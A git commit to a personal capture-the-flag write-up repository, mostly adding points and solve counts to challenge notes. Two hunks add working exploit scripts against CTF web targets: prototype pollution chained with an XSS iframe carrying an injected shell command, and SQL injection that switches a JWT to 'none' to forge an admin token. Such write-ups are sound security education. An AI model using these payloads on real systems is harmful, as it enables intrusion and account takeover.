added stats

octo-kumo · octo-kumo · commit 151d3e74b5e5 · 2025-03-18T02:32:22.000-04:00
diff --git a/2025-athack-ctf/forensics/Breach/index.md b/2025-athack-ctf/forensics/Breach/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T17:59
-updated: 2025-03-02T01:35
+updated: 2025-03-18T02:26
+solves: 11
+points: 300
 ---
 
 `breach` is a virus that sends keystrokes over UDP it seems.
diff --git a/2025-athack-ctf/forensics/Dora.md b/2025-athack-ctf/forensics/Dora.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T16:38
-updated: 2025-03-01T16:50
+updated: 2025-03-18T02:26
+points: 50
+solves: 25
 ---
 
 ```
diff --git a/2025-athack-ctf/forensics/Lost Password.md b/2025-athack-ctf/forensics/Lost Password.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T15:33
-updated: 2025-03-01T16:01
+updated: 2025-03-18T02:26
+solves: 30
+points: 50
 ---
 
 It's just a password zip file.
diff --git a/2025-athack-ctf/forensics/MFT.md b/2025-athack-ctf/forensics/MFT.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T16:51
-updated: 2025-03-01T16:56
+updated: 2025-03-18T02:27
+solves: 19
+points: 250
 ---
 
 Open file with MFT Explorer.
diff --git a/2025-athack-ctf/forensics/Phantom Trails.md b/2025-athack-ctf/forensics/Phantom Trails.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T17:19
-updated: 2025-03-01T17:56
+updated: 2025-03-18T02:27
+points: 250
+solves: 5
 ---
 
 ![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740867597/2025/03/d403118c5aface90d6a1de69ac2d76c0.png)
diff --git a/2025-athack-ctf/forensics/Relics Of The Past.md b/2025-athack-ctf/forensics/Relics Of The Past.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T16:57
-updated: 2025-03-01T17:16
+updated: 2025-03-18T02:27
+points: 200
+solves: 25
 ---
 
 Just dump all files to txt.
diff --git a/2025-athack-ctf/forensics/Rogue Signals.md b/2025-athack-ctf/forensics/Rogue Signals.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T15:41
-updated: 2025-03-01T16:00
+updated: 2025-03-18T02:27
+points: 100
+solves: 20
 ---
 
 ![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1740862660/2025/03/a14901ba5f149f54ef5a90f0743d4d35.png)
diff --git a/2025-athack-ctf/hardware/RFID/index.md b/2025-athack-ctf/hardware/RFID/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T18:34
-updated: 2025-03-02T02:44
+updated: 2025-03-18T02:28
+solves: 13
+points: 1500
 ---
 
 Fun first time RFID challenge!
diff --git a/2025-athack-ctf/index.md b/2025-athack-ctf/index.md
@@ -1,9 +1,11 @@
 ---
 created: 2025-03-01T15:57
-updated: 2025-03-02T14:18
+updated: 2025-03-18T02:25
 title: ATHACK CTF 2025
+rank: 6
 ---
 
+
 Damn I got basically everything alone.
 
 ::ctf-overview
diff --git a/2025-athack-ctf/misc/Sokoban/index.md b/2025-athack-ctf/misc/Sokoban/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-02T04:34
-updated: 2025-03-02T14:20
+updated: 2025-03-18T02:28
+points: 150
+solves: 9
 ---
 
 Solved it with [sokoban-solver](https://github.com/dangarfield/sokoban-solver).
diff --git a/2025-athack-ctf/osint/Man-Hat-SinCos/index.md b/2025-athack-ctf/osint/Man-Hat-SinCos/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T16:24
-updated: 2025-03-01T16:34
+updated: 2025-03-18T02:28
+points: 100
+solves: 27
 ---
 
 ## 2
diff --git a/2025-athack-ctf/pwn/CWE 120/index.md b/2025-athack-ctf/pwn/CWE 120/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T22:17
-updated: 2025-03-02T14:21
+updated: 2025-03-18T02:29
+points: 100
+solves: 16
 ---
 
 Well, `passw0rd` didn't work.
diff --git a/2025-athack-ctf/pwn/CWE 78.md b/2025-athack-ctf/pwn/CWE 78.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T22:11
-updated: 2025-03-01T22:16
+updated: 2025-03-18T02:30
+solves: 17
+points: 50
 ---
 
 Domain validity check is done client-side, we can just inject a command directly.
diff --git a/2025-athack-ctf/pwn/Detached then Forgotten/index.md b/2025-athack-ctf/pwn/Detached then Forgotten/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T22:28
-updated: 2025-03-01T22:34
+updated: 2025-03-18T02:29
+solves: 17
+points: 150
 ---
 
 ??? IDK What the task is even about, we have `sudo` right away and the flag is just right there.
diff --git a/2025-athack-ctf/pwn/Little Squid Game/index.md b/2025-athack-ctf/pwn/Little Squid Game/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T21:48
-updated: 2025-03-01T22:03
+updated: 2025-03-18T02:29
+solves: 13
+points: 100
 ---
 
 There is a 10s delay between successive guesses, hrmm.
diff --git a/2025-athack-ctf/pwn/Stack Smashing/index.md b/2025-athack-ctf/pwn/Stack Smashing/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-02T08:49
-updated: 2025-03-02T09:06
+updated: 2025-03-18T02:29
+points: 200
+solves: 11
 ---
 
 ```bash
diff --git a/2025-athack-ctf/pwn/Vimprison/index.md b/2025-athack-ctf/pwn/Vimprison/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-02T08:45
-updated: 2025-03-02T08:48
+updated: 2025-03-18T02:30
+solves: 17
+points: 150
 ---
 
 A hint?
diff --git a/2025-athack-ctf/rev/Jean Guillaume Auguste Victor/index.md b/2025-athack-ctf/rev/Jean Guillaume Auguste Victor/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T15:01
-updated: 2025-03-02T01:58
+updated: 2025-03-18T02:30
+points: 150
+solves: 20
 ---
 
 Simple linear algebra!
diff --git a/2025-athack-ctf/web/Apocalypse.md b/2025-athack-ctf/web/Apocalypse.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T20:30
-updated: 2025-03-02T05:14
+updated: 2025-03-18T02:31
+solves: 22
+points: 50
 ---
 
 Notice the `Set-Cookie` headers.
diff --git a/2025-athack-ctf/web/Cardjacker/index.md b/2025-athack-ctf/web/Cardjacker/index.md
@@ -1,16 +1,18 @@
 ---
 created: 2025-03-02T05:54
-updated: 2025-03-02T07:39
+updated: 2025-03-18T02:30
+points: 600
+solves: 6
 ---
 
+`| safe` bypasses safety checks, this is definitely a XSS attack vector.
+
 ```html
 <div class="box-left">
 	{{ userAvatarUrl | renderUrlAsAvatar | safe }}
 </div>
 ```
 
-`| safe` bypasses safety checks, this is definitely a XSS attack vector.
-
 After looking a bit, my `userAvatarUrl` has to pass the url check.
 
 ```js
@@ -66,7 +68,7 @@ function isLikelyValidGitHubHandle(username) {
     return regex.test(username);
 }
 ```
-
+## prototype pollution
 Wait... there's prototype pollution?
 
 ```js
@@ -190,3 +192,52 @@ print(flag)
 ```flag
 ATHACKCTF{Spacele$$_$$urfing_On_Polluted_$hells}
 ```
+
+
+```python
+import re
+import requests
+
+target = 'http://localhost:14569/'
+
+# target = 'http://localhost:2025/'
+
+
+def prototype(key, val):
+    return requests.post(target + '/set-config', data={
+        'config': '__proto__',
+        'key': key,
+        'val': val
+    }).text
+
+
+def makeCard():
+    text = requests.post(target + '/create-card', data={
+        'firstName': 'yun',
+        'lastName': 'yun',
+        'email': 'yun@yun.ng',
+        'github': 'octo-kumo',
+        'company': 'Yun'
+    }).text
+    return re.search(r'cardId" value="([0-9a-f]+)', text).group(1)
+
+
+def downloadCard(cardId):
+    return requests.get(target + '/download-card', params={
+        "cardId": cardId,
+        "email": "yun@yun.ng"
+    }).content
+
+
+prototype('avatarUrl', 'http://yun.ng?innocent')
+cardId1 = makeCard()
+print("target cardId:", cardId1)
+cardId = makeCard()
+prototype('avatarUrl', 'http://yun.ng?"><iframe src="http://localhost:1984/make-card-pdf?data=\'`/usr/bin/echo-flag>/home/chall/storage/'+cardId1+'.pdf`\'%20'+cardId+'" width="600" height="500"></iframe><!--')
+cardId = makeCard()
+print("Card ID:", cardId)
+downloadCard(cardId)
+
+flag = requests.get(target + '/download-card?email=ww@ww.com&cardId='+cardId1).text
+print(flag)
+```
diff --git a/2025-athack-ctf/web/TL;DR. Too Long; Didn't Read/index.md b/2025-athack-ctf/web/TL;DR. Too Long; Didn't Read/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-02T07:48
-updated: 2025-03-02T07:56
+updated: 2025-03-18T02:31
+solves: 7
+points: 450
 ---
 
 The 'trick' used created a vulnerbility.
diff --git a/2025-athack-ctf/web/Template of Doom/index.md b/2025-athack-ctf/web/Template of Doom/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-02T05:16
-updated: 2025-03-02T05:22
+updated: 2025-03-18T02:30
+solves: 18
+points: 200
 ---
 
 Probing with `{{1+1}}` gave us back `2`.
diff --git a/2025-athack-ctf/web/Token of Deceit/index.md b/2025-athack-ctf/web/Token of Deceit/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T20:43
-updated: 2025-03-01T20:46
+updated: 2025-03-18T02:31
+solves: 20
+points: 100
 ---
 
 I thought this was a JWT cracking challenge, but turns out I can just sign it with whatever and it will work. The pasted JWT is from jwt.io with `"role": "admin"`.
diff --git a/2025-athack-ctf/web/Upload Deception 101/index.md b/2025-athack-ctf/web/Upload Deception 101/index.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T20:37
-updated: 2025-03-02T10:00
+updated: 2025-03-18T02:31
+solves: 19
+points: 50
 ---
 
 Simple PHP shell exploit.
@@ -109,4 +111,4 @@ if (isset($_FILES['file'])) {
 
 ```flag
 ATHACKCTF{f4ke_it_till_y0u_m4ke_it}
-```
+```
diff --git a/2025-athack-ctf/web/xxs.md b/2025-athack-ctf/web/xxs.md
@@ -1,6 +1,8 @@
 ---
 created: 2025-03-01T14:15
-updated: 2025-03-01T20:25
+updated: 2025-03-18T02:31
+points: 100
+solves: 22
 ---
 
 ## XSS 1
diff --git a/2025-pearl-ctf/web/quote/indxe.md b/2025-pearl-ctf/web/quote/indxe.md
@@ -0,0 +1,56 @@
+Notice that the algorithm is fetched from database, so how do we change the algorithm to none?
+
+```python
+def decode_access_token(token):
+    try:
+        user_data = jwt.decode(token, options={"verify_signature": False})
+        user = user_data['user']
+        algorithm = User.query.filter_by(username=user).first().jwt_algorithm
+        if algorithm == 'HS256':
+            user_data = jwt.decode(token, app.config['JWT_SECRET'], algorithms=[algorithm])
+        elif algorithm == 'none':
+            user_data = jwt.decode(token, options={'verify_signature': False}, algorithms=[algorithm])
+        else:
+            user_data = jwt.decode(token, algorithms=[algorithm])
+    except:
+        return None
+    return user_data
+```
+
+Notice that the SQL insert statement is vulnerable to SQL injection.
+```python
+db.session.execute(text(f'INSERT INTO User (username, password_hash, jwt_algorithm) VALUES ("{username}", "{bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")}", "HS256")'))
+db.session.commit()
+```
+
+A very simple payload would work.
+
+```python
+import bcrypt
+import requests
+import jwt
+
+
+def register(user, passw):
+    print(f'INSERT INTO User (username, password_hash, jwt_algorithm) VALUES ("{user}", "{bcrypt.hashpw(passw.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")}", "HS256")')
+    return requests.post('https://quote.ctf.pearlctf.in/register', data={'username': user, 'password': passw})
+
+
+print(register(f'kumo", "{bcrypt.hashpw('admin'.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")}", "none") --', "lol"))
+payload = {
+    "user": "kumo",
+    "admin": True
+}
+token = jwt.encode(payload, algorithm='none', key='')
+print(requests.get('https://quote.ctf.pearlctf.in/profile', headers={
+    'Cookie': 'access_token='+token
+}).text)
+```
+
+```sql
+INSERT INTO User (username, password_hash, jwt_algorithm) VALUES ("kumo", "$2b$12$6ctTo718RdGaWdRA2io0g.nWdfMee/pwFZCiaZn59E8YOexgGspnG", "none") --", "$2b$12$84iNRBtP4ShbIv3Uk5qqnOHlBnd2sXS2CuzVZambD5cxiODTGN6y6", "HS256")
+```
+
+```flag
+pearl{select_from_flag__where_username=hecker}
+```
